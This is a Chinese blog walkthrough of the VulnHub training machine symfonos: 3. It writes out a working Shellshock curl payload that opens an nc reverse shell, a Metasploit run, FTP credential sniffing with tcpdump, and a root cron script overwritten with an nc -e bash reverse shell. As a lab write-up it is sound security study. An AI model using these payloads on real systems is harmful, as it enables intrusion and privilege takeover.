『VulnHub系列』symfonos: 3-Walkthrough_kali nc -lncp 1234-程序员宅基地

技术标签: Linux  靶机  VulnHub  

在这里插入图片描述
靶机地址
难度:中等难度
靶机发布日期:2019年7月20日
靶机描述:

Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you’re welcome to contact me via Twitter @zayotic

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

netdiscover
nmap
dirbuster
pspy
tcpdump
metasploit
curl
wireshark

0x00、信息收集

靶机IP:192.168.0.110

netdiscover -r 192.168.0.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.110

在这里插入图片描述

页面、目录枚举

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在这里插入图片描述

python3 dirsearch.py -u http://192.168.0.110 -e .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

在这里插入图片描述
http://192.168.0.110/
在这里插入图片描述
http://192.168.0.110/gate/
在这里插入图片描述
target设置为http://192.168.0.110/尝试了不同的字典,发现的结果只有index.html和/gate

  • /usr/share/wordlists/dirb/*
  • /usr/share/wordlists/dirbuster/*

随后将目标更改为http://192.168.0.110/gate/,使用字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
在这里插入图片描述
在这里插入图片描述
真有点十八层地狱(underworld)的意思,不可能再往下扫了,不带这么变态的

工具换成dirbuster,字典还是用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
在这里插入图片描述

每次扫描到/cgi-bin/underworld就暂停了,可能线程数太多了……所以直接将目标设为http://192.168.0.110/cgi-bin/
在这里插入图片描述
访问http://192.168.0.110/cgi-bin/underworld/login.php
在这里插入图片描述

下图是我在kali里面执行uptime命令的结果,是不是跟上图中的格式一模一样。如果是个老司机,应该可以直接得出靶机可能有shellshock漏洞的结论,可是我不是老司机……哈哈哈
在这里插入图片描述

依次访问如下页面,均得到类似的结果

  • http://192.168.0.110/cgi-bin/underworld/article.php
  • http://192.168.0.110/cgi-bin/underworld/support.php
  • http://192.168.0.110/cgi-bin/underworld/2.php

关于shellshock漏洞我看了这几篇文章

0x01、shellshock漏洞getshell

使用MSF的exploit

第一种方式是使用MSF提供的exploit

msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set rhosts 192.168.0.110
set targeturi /cgi-bin/underworld
exploit

在这里插入图片描述

curl发送请求getshell

第二种方式是使用curl将bash命令作为特殊请求的User-Agent进行传递,实际上nc反弹shell的命令是由Bash执行的。
首先,kali上使用nc监听端口;

nc -nlvp 1234

然后,使用curl发送特殊请求

curl -A "() { :; }; /bin/bash -c 'nc 192.168.0.108 1234 -e /bin/sh'" http://192.168.0.107/cgi-bin/underworld

在这里插入图片描述
至于为什么可以反弹桑shell,这里借用嘶吼上的一篇文章的解释(就是上面我看的那一篇):

运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

我这里直接手动进行信息收集,下面是过程:

查看/etc/passwd中有哪些用户

  • hades
  • cerberus

查找SUID权限的可执行文件,没有发现可用于提权的可执行文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
查找全局用户可写文件,无

find / -wirteable -type f 2>/dev/null

在这里插入图片描述

查找计划任务。主要是看看有没有高权限用户的计划任务脚本,并且当前用户拥有脚本的写权限。
在这里插入图片描述
查看当前用户可执行的sudo权限命令

sudo -l

在这里插入图片描述

查看内核版本,也许可以直接内核提权,但这里是没有的
在这里插入图片描述

上面几个都试过了之后还是没有什么发现,基本上就要去目录中“扫荡”了
查看了/home目录下的两个用户文件夹,没有什么发现

/tmp目录下发现了一个ELF可执行文件ykdwB,要是分析这个可执行文件那就难为我了,本来想使用strings ykdwB看看有没有什么字符串打印出来,结果提示strings: command not found,果断放弃了……
在这里插入图片描述
手工信息收集无果,那我们就上脚本。执行linuxprivchecker.py脚本后,对得到的结果进行查看,发现了以下信息:
安装的软件exim4 4.89-2
正在运行的进程proftpd
在这里插入图片描述

使用searchsploit搜索exim 4.89,只发现一个DoS攻击的exploit;正在运行的进程是proftpd,也许可以嗅探一下。

这里先介绍另一个工具pspy,Github地址

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.
The tool gathers the info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.

pspy是一种命令行工具,旨在无需根权限就可以窥探进程。 它使您可以查看其他用户执行的命令,cron作业等。 非常适合枚举CTF中的Linux系统。 很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。 放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。

使用方法(Google翻译)

  • -p:启用将打印命令输出到标准输出(默认启用)
  • -f:启用将文件系统事件打印到stdout(默认情况下禁用)
  • -r:Inotify要监视的目录列表。 pspy将递归地监视所有子目录(默认情况下,监视/ usr,/ tmp,/ etc,/ home,/ var和/ opt)。
  • -d:Inotify要监视的目录列表。 pspy将仅监视这些目录,而不监视子目录(默认情况下为空)。
  • -i:两次procfs扫描之间的间隔(以毫秒为单位)。 pspy会定期扫描新进程,而不考虑Inotify事件,以防万一未收到某些事件。
  • -c:以不同的颜色打印命令。 文件系统事件不再着色,根据进程UID,命令具有不同的颜色。
  • –debug:打印详细的错误消息,否则将隐藏它们。
    在这里插入图片描述在这里插入图片描述
    从上图中可以看出ftpclient.py脚本正在运行,且UID=0,也就是说是脚本是以root权限运行,记住这里后面会用到。尝试访问ftpclient文件夹,发现权限不足。从脚本的命名来看,这个脚本的作用可能是向ftp服务发送数据。注意这里是可能,因为我们不知道脚本的具体代码是什么,所以只能给出一个猜测。
    在这里插入图片描述
    接下来的这一步操作是嗅探,我是看了老外的Walkthrought,以我现在的知识面还想不到用这招儿。每次到了不得不看老外的Walkthrough的时候,我总是努力去理解他们是怎么想到用某种方法的,他们是从哪一步到这一步的,依据是什么?是经验?还是发现了什么其他的信息,但又因为过于简单而没有把这个信息写出来?之前也看过一些大佬写的关于CTF方面的writeup,跳跃性真的很强,缺少众多细节的展现。我并没有吐槽的意思,真的。我尝试过去理解这样的做法,目前的能想到就是这么几点:第一,节省时间。写东西可能真的只是给自己看的;第二,不想做重复劳动;第三,假设了看writeup的人已经具备了必要的知识背景,所以有些东西没有写出来。

言归正传。之前在查看linuxprivchecker脚本执行结果的时候发现靶机上已经安装了tcpdump,我们就用这个工具来尝试抓取数据,因为ftp协议是明文传输的,如果我们可以抓取到ftp连接的数据,那么就可以得到用户名密码了。
在这里插入图片描述

tcpdump需要指定需要抓住哪个网络接口的数据。获取网络接口(Network Interfaces)的方式如下:

  • ifconfig
  • ip link show
  • netstat -i
  • nmcli device status

在这里插入图片描述
有两个网络接口,该用哪一个?这里可以使用tcpdump -D,然而发现两个都在运行
在这里插入图片描述

一番搜索之后,得到了如下的结果
在这里插入图片描述

网络接口lo是loopback状态的,我们就抓取流过这个网络接口的数据包了。抓包时长7分钟
在这里插入图片描述

在靶机上使用python开启HTTP服务,将ftp.pcap下载到kali使用wireshark进行分析
在这里插入图片描述
用wireshark打开pcap包,过滤器中输入tcp.port == 21,然后选中下方一条记录,右键–>跟踪(Follow)–>TCP流(TCP Stream),发现ftp用户名和密码
在这里插入图片描述
在这里插入图片描述
使用hades/PTpZTfU4vxgzvRBE登录SSH,还记得之前的ftpclient.py脚本吗?我们使用pspy的时候发现这个脚本是root权限运行的(UID = 0),如果hades用户拥有该脚本的写入权限,那么我们就可以提权了。查看ftpclient.py脚本的权限设置
在这里插入图片描述

使用nano或vim修改ftpclient.py脚本。我这里使用的是nano,使用方法可以搜索一下。内容如下:

import sys
import os

os.system("nc -e /bin/bash 192.168.0.108 1234")

kali上监听1234端口,等待脚本的自动执行
在这里插入图片描述
在这里插入图片描述
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。如果您觉得这篇博客写的还不错,也欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。与我联系可扫描下方个人微信二维码。
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_44214107/article/details/102564911

智能推荐

短剧分销系统平台开发搭建,开发短剧分销系统,源码授权系统独立部署-程序员宅基地

文章浏览阅读479次,点赞9次,收藏3次。本文简要介绍了短剧分销系统的现状、施工过程、系统的功能和更新项目。想了解建立短剧分销系统的私人信息沟通。

SQL审核 | 如何快速使用 SQLE 审核各种类型的数据库_sqle 插件部署-程序员宅基地

文章浏览阅读757次。作者:孙健孙健,爱可生研发工程师,负责 SQLE 相关开发;本文来源:原创投稿*爱可生开源社区出品,原创内容未经授权不得随意使用,转载请联系小编并注明来源。前言近些年来,数据库产业发展迅猛,各种新兴数据库如雨后春笋般出现,各个公司的技术栈也不再局限于某一种数据库。对于SQL质量管理平台来说仅支持某一个类型的数据库(例如MySQL),那么是会有一定的局限性,SQLE在设计之初考虑支持多种数据库,因此产品设计时,将审核流程(业务)的代码和具体SQL审核上线的代码进行分离,SQL审核上线通过插件的._sqle 插件部署

转 Pytorch 教学资料-程序员宅基地

文章浏览阅读112次。本文收集了大量PyTorch项目(备查)转自:https://blog.csdn.net/fuckliuwenl/article/details/80554182目录:入门系列教程入门实例图像、视觉、CNN相关实现对抗生成网络、生成模型、GAN相关实现机器翻译、问答系统、NLP相关实现先进视觉推理系统深度强化学习相关实现通用神经网络高级应用..._training a cartpole to balance in openai gym with actor-critic

微信公众号授权链接有#的问题_微信公众号带#-程序员宅基地

文章浏览阅读1.7k次。我们做微信公众号项目的时候,肯定会进行授权,但是这个授权有一个很大很大的bug,就是重定向的时候会默认把#后面的内容给截取掉,然后很容易造成死循环等一系列问题我们就当需要跳转的链接是这样的:http:22.22.22.22:8080/index.html#/transformAp?Village_id=2做公众号项目肯定要截取url上的参数对吧,因为这个链接有’#’,所以获取不到Village_id咋解决呢?解决方法一:把链接换成这样的http:22.22.22.22:8080/index._微信公众号带#

在vue中插入echarts图表_vue如何引入 charts-stat-程序员宅基地

文章浏览阅读252次。总之,这个Vue组件的作用是在页面上渲染两个ECharts图表,每个图表都有自己的数据和配置选项,并在组件挂载后自动初始化。这段代码是一个Vue.js组件,用于渲染两个ECharts图表(mychart1和mychart2)。这是Vue组件的JavaScript逻辑部分,包含了ECharts图表的初始化和数据配置。:这行代码导入ECharts库,使你可以在组件中使用ECharts的功能。这是Vue组件的模板部分,用于定义组件的外观和结构。在这个钩子中,你将调用。的方法,用于初始化ECharts图表。_vue如何引入 charts-stat

【ABAP】OPEN SQL(六)「DELETE语句 | MODIFY语句」_sap modify-程序员宅基地

文章浏览阅读7.3k次,点赞63次,收藏49次。各位小伙伴们大家好呀!今天继续SAP ABAP系列文章的讲解,本节继续讲解OPEN SQL中的DML语句,本节内容涉及到DELETE语句和MODIFY语句,希望大家喜欢!_sap modify

随便推点

Oracle导出-导入(备份dmp)文件,简单应用_oracle导出dmp文件叫做逻辑备份还是物理备份-程序员宅基地

文章浏览阅读1.2k次。首先说明dmp文件:Oracle备份文件是以dmp结尾,这种文件是oracle的逻辑备份文件,常用于数据库逻辑备份,数据库迁移等操作。 一.Oracle导入备份文件步骤:我用的是Oracle 11g版本1.把数据库的备份文件:xx.DMP 拷贝到oracle安装目录下的dpdump文件夹中,比如我的路径是: D:\work\app\admin\orcl\dpdump ..._oracle导出dmp文件叫做逻辑备份还是物理备份

STM32CUBE 安装报错 Error! Can‘t initialize plug-ins directory. Please try again later._can't initialize plug-ins directory-程序员宅基地

文章浏览阅读6.7k次,点赞14次,收藏24次。用户名含中文导致的cube安装失败_can't initialize plug-ins directory

Windows SDK(五)按钮静态文本与编辑框控件-程序员宅基地

文章浏览阅读864次,点赞14次,收藏13次。我们首先应该知道,所谓按钮静态文本等等控件都是窗口,他们都是隶属于父窗口下的子窗口,所以在创建控件前,我们要首先创建一个父窗口,此处我们直接使用Windows桌面程序创建时,程序自动为我们创建的一个窗口,该窗口如下表示:nullptrnullptrnullptr此时我们已经有了一个主窗口,接下来开始讲解控件的创建和应用在以下控件内容中,我们首先在全局变量中定义我们的控件ID,以便我们后续控件的查找#define0#define1#define2按钮的创建。

vue-antd使用Table+Drawer做管理系统增删改查操作_用ant-design-vue4.0实现table表格的增删改查不调用接口写法-程序员宅基地

文章浏览阅读7.4k次,点赞4次,收藏53次。一、查Table显示查询数据,官方api1、常用到的属性属性名 描述 数据格式 columns (必选)表头 [ {title: '姓名',dataIndex: 'name'}, {title: '年龄',dataIndex: 'age'} ] data-source (必选)表头 [ {UserID:13,name: '张三',age: '12'}, {UserID:16,name: '王五',..._用ant-design-vue4.0实现table表格的增删改查不调用接口写法

Linux上如何查看某个进程的线程_linux thread 查看进程下面的 线程-程序员宅基地

文章浏览阅读1.2w次,点赞4次,收藏13次。问题: 我的程序在其内部创建并执行了多个线程,我怎样才能在该程序创建线程后监控其中单个线程?我想要看到带有它们名称的单个线程详细情况(如,CPU/内存使用率)。本文参考了百度百科。线程是现代操作系统上进行并行执行的一个流行的编程方面的抽象概念。当一个程序内有多个线程被叉分出用以执行多个流时,这些线程就会在它们之间共享 特定的资源(如,内存地址空间、打开的文件),以使叉分开销最小化,并避免大量高..._linux thread 查看进程下面的 线程

5.MySQL高级语句,你给我学!-程序员宅基地

文章浏览阅读959次,点赞2次,收藏6次。视图(view)是在基本表之上建立的表,它的结构(即所定义的列)和内容(即所有数据行)都来自基本表,它依据基本表存在而存在。一个视图可以对应一个基本表,也可以对应多个基本表。4.视图是查看数据表的一种方法,可以查询数据表中某些字段构成的数据,只是一些SQL语句的集合。从安全的角度说,视图可以不给用户接触数据表,从而不知道表结构。3.表只用物理空间而视图不占用物理空间,视图只是逻辑概念的存在,表可以及时对它进行修改,但视图只能有创建的语句来修改。6.视图的建立和删除只影响视图本身,不影响对应的基本表。

推荐文章

热门文章

相关标签